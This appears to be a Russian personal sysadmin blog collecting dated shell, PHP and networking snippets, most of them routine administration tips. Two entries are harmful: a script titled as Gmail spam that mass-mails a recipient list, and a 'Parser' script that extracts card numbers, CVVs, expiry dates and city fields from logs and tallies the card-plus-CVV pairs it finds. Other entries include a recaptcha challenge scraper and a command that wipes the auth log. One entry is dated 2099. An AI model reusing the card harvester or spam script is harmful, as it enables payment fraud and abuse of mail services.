30 января 2099 г.

work command's shell bash

[root@levantuev /]# du -h -d 1 /var  # Просмотр занимающего места в каталоге;
[root@levantuev /]# du -sk ./* | sort -n | awk 'BEGIN{ pref[1]="K"; pref[2]="M"; pref[3]="G";} { total = total + $1; x = $1; y = 1; while( x > 1024 ) { x = (x + 1023)/1024; y++; } printf("%g%s\t%s\n",int(x*10)/10,pref[y],$2); } END { y = 1; while( total > 1024 ) { total = (total + 1023)/1024; y++; } printf("Total: %g%s\n",int(total*10)/10,pref[y]); }'  # Просмотр занимающего места в каталоге с сортировкой и всем вытекающим;
[root@levantuev /]# du -hs /tmp  # Просмотр занимающего места каталога;
[root@levantuev /]# truncate -s0 /var/log/auth.log  # Очистка файла;
[root@levantuev /tmp]# tail -f /usr/file.log | egrep "10.13.177.[0-9]+" --color  # Грепаем с подсветкой ip;
[root@levantuev /tmp]# find . -name "*xhprof" -exec rm {} \;  # Найти и Удалить все файлы по шаблону;
[root@levantuev /tmp]# lsof -w -n -i tcp:22;  # Поиск PID'a по номеру порта;
[root@levantuev /tmp]# awk NF file.txt  # Удалить пустые строки из файла;
[root@levantuev /tmp]# sed -i -e 's/control/deploy/' *  # Замена control на deploy;
[root@levantuev /tmp]# grep -f file1 file2  # Выводит одинаковые значение файлов;
[root@levantuev /tmp]# sed -r 's/(@).+//'  # sed - Удалить всё после символа @;

Programming


Command: echo "This example will pick next word as well" | grep -o -E -- "next \w+"
Result: next word

Command: sed -e "3n; s/a/b/g" file1 > file2
Result: Заменит все "a" на "b" за исключением 3-й строки

1 июня 2015 г.

Yii

CHtml::encode($data->message);  -> Защита от XSS;
Yii::app()->createUrl('guestbook/index') -> Правильный URL;
 

8 июля 2013 г.

OpenVPN the Double VPN

tun0 - VPN Server
tun1 - VPN Client
11.11.11.0/24 - Server dst ip
На конечном сервере простой маскарадинг
echo 200 rta >> /etc/iproute2/rt_tables
 
ip rule add from 11.11.11.0/24 table rta
ip route add default dev tun1 table rta
 
iptables -t nat -I POSTROUTING -s 11.11.11.0/24 -o tun1 -j MASQUERADE

28 июня 2013 г.

Runtime script

BEGIN=$(date +%s)
 
  ping g.com -t 20 > /dev/null 2>&1
 
END=$(date +%s)
 
DIFF=$(( $END - $BEGIN ))
 
  echo "$DIFF"

13 июня 2013 г.

Spam рассылка через Gmail

#!/bin/sh
 
FROM="qwerty@gmail.com"
PASS="abcdefg"
SUBJ="Theme"
MSG="textntext"
 
 
IN=`cat mail.txt`
 
for TO in $(echo $IN); do
  sendEmail -v -f $FROM -s smtp.gmail.com:587 -xu $FROM -xp $PASS -t $TO -o tls=yes -u $SUBJ -m $MSG -o message-charset=UTF-8
  sleep 4
done

10 июня 2013 г.

Скопипастил

Неплохой скрипт для мониторинга процесса изменения занятого/свободного места (меняем ssd на свой раздел):
while true; do df -m | grep /ssd; sleep 1 && clear; done;

Перезапускам пачку демонов (на примере lemon)
find . -name '*lemon*' -exec {} start \;

Получаем список наиболее юзающих файлы демонов (аналогично с сокетами)
fstat | awk '{print $2;}' | awk -F':' '{print $1;}' | sort | uniq -c | sort -k1 -n | tail -n 3
773 dping
1184 httpd
16574 wespd

Ищем процессы, выполняющиеся очень долго
ps auxwwww | grep <ИМЯ ПРОЦЕССА> | sort -nrk 10 | head | awk '{printf "%s___%s\n", $10, $13}'

Смотрим место занимаемых директорий (в текущем каталоге)
du -sk * | sort -n | awk 'BEGIN{ pref[1]="K"; pref[2]="M"; pref[3]="G";} { total = total + $1; x = $1; y = 1; while( x > 1024 ) { x = (x + 1023)/1024; y++; } printf("%g%s\t%s\n",int(x*10)/10,pref[y],$2); } END { y = 1; while( total > 1024 ) { total = (total + 1023)/1024; y++; } printf("Total: %g%s\n",int(total*10)/10,pref[y]); }'

Найти файлы превышающие 300 киллобайт ( "+" значит превышающие, "-" будет находить меньше выставленного размера )
find /home/levantuev/ -size +300k -print

Рестартим nrpe гарантированно и просто:
pgrep nrpe | while read line; do kill -9 $line ; done && /usr/local/etc/rc.d/nrpe2 start

5 июня 2013 г.

Recaptcha - php function

function recaptcha($key) {
 global $captcha_img, $captcha_id, $challenge;
 
 //Curl
 $ch=curl_init();
 curl_setopt($ch, CURLOPT_URL, 'http://api.recaptcha.net/challenge?k='.$key);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $response=curl_exec($ch);
 curl_close($ch);
 
 //Parse content
 $regexp='/challenge : '(.*?)',/is';
 preg_match($regexp, $response, $challenge);
 
 //Image captcha
 $captcha_id=$challenge[1];
 $captcha_img='<img src="http://www.google.com/recaptcha/api/image?c='.$captcha_id.'">';
}

21 мая 2013 г.

Parser


#!/bin/sh

if [ $# -lt 1 ]; then
    echo "Run ./script.sh <log_file>"
    exit 2
fi

base_cc="/tmp/base_cc.txt"
log=$1
result="/tmp/result.txt"

rm $result

cc=`cat $log | grep -En "accnt=|Num|um=|er=|ard=|identifier=|ACCT=|ccno=" | grep -Ev "http|@|%|;|com|Thank|Cook" | grep "=[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]" > $base_cc`

sleep 1

IN=`cat $base_cc | sed "s/:[^:]*$//g"`

CVV="vv|sec|verif|CardID|Secur|ccid|cbb|cvm=|vcode=|cvNum|csc=|card_code|CardVe|cardvN|cvn=|VerificationNumber=|ccv=|cv2=|cid=|cvc|cvmNum|txtcscode|csv|card_pin|cardpin|cccode|cardcode|cccvd|CvsNo|sec_code|SecurityCode"
EXP="onth|ear|ExpMN|ExpYR|ccexp=|exp_m|exp_y|mm=|yy=|xp_date=|mon=|month|expire|expirat|expm|expy"
HOLDER="name=|owner=|nameOn"
ZIP="zip"
COUNTRY="country="
CITY="city="
STREET="street"

for i in $(echo $IN); do 

min=`expr $i - 35`
max=`expr $i + 35`

res_cc=`cat $log | sed -n $i,$i'p' | sed "s/[^=]*\=/CC=/"`

res_cvv=`cat $log | sed -n $min,$max'p' | grep -Ei $CVV | grep -Ev "http|%|Cook|locid|SecureID|CreditCardId|ssn|year|mandator" | grep "=[0-9][0-9][0-9]" | sed "s/[^=]*\=/CVV=/" | xargs | tr -d $'\r' | sed 's/^\([^ ]*\) .*/\1/'`
if [ -z "$res_cvv" ]; then
    continue
else
res_exp=`cat $log | sed -n $min,$max'p' | grep -Ei $EXP | grep -Eiv "http|@|;|Thank|dob|dynamic|method|none|birth|apply|false|text|farerule|monthToPay|phon|mandator" | grep "=[A-Za-z0-9]" | sed "s/[^=]*\=//" | xargs | tr -d $'\r' | sed "s% %/%" | sed 's/^\([^ ]*\) .*/\1/'`
if [ -z "$res_exp" ]; then
    continue
else
#res_holder=`cat $log | sed -n $min,$max'p' | grep -Ei $HOLDER | grep -Eiv "Server|checkbox|insur|brand|http|@|;|Thank|dob|dynamic|method|none|birth|apply|false|text|farerule|monthToPay|phon|city|Please|country|state|adres" | grep -Ev "surname|givenname" | grep "=[A-Za-z]" | sed "s/[^=]*\=//" | uniq | xargs | tr -d $'\r' | tr '[A-Z]' '[a-z]' | awk '{if($2 == $3 || $1 == $3){print $1 " " $2} else{print $1 " " $2 " " $3}}'`
res_city=`cat $log | sed -n $min,$max'p' | grep -Ei $CITY | grep -Eiv "Referer"`
    echo "###############BEGIN#################" >> $result
    res_cc=`cat $log | sed -n $i,$i'p' | sed "s/[^=]*\=/CC=/"`
    echo $res_cc >> $result
    echo $res_cvv >> $result
    echo $res_exp >> $result
#    echo $res_holder >> $result
    echo $res_city >> $result
    echo "#################END#################" >> $result
fi
fi
done


find_cc=`cat $base_cc | sed "s/[^=]*\=//" | sort | uniq | wc -l`
CVV_CC=`cat $result | grep CC | sort | uniq | wc -l`
echo "#######OK########"
echo "___RESULT: "$result
echo "_______CC: "$find_cc
echo "___CC+CVV: "$CVV_CC
echo "#################"

rm $base_cc

nagios - Проверка УРЛа

Скрипт смотрит урл и размер полученного результата. Выдает ошибку если http ответ отличный от 200 или размер полученного контента меньше 1.5кб

#/bin/sh

check=`/usr/local/libexec/nagios/check_http -I $1 -u /$2`

res=`echo $check | awk '{print $2}' | sed -e 's/://'`

if [ $res = 'OK' ]; then
    size=`echo $check | awk '{print $15}' | /usr/bin/sed -e 's/;;;0//g' | /usr/bin/sed -e 's/[a-zA-Z=]//g'`
    if [ $size -lt 1500 ];  then
    echo "URL: $1/$2 Size very small -" $size
        code=2
    else
    echo "URL: $1/$2" $res
        code=0
    fi
else
    res_http=`echo $check | awk '{print $4}'`
    echo "$1/$2 - $res_http"
        code=2
fi

exit $code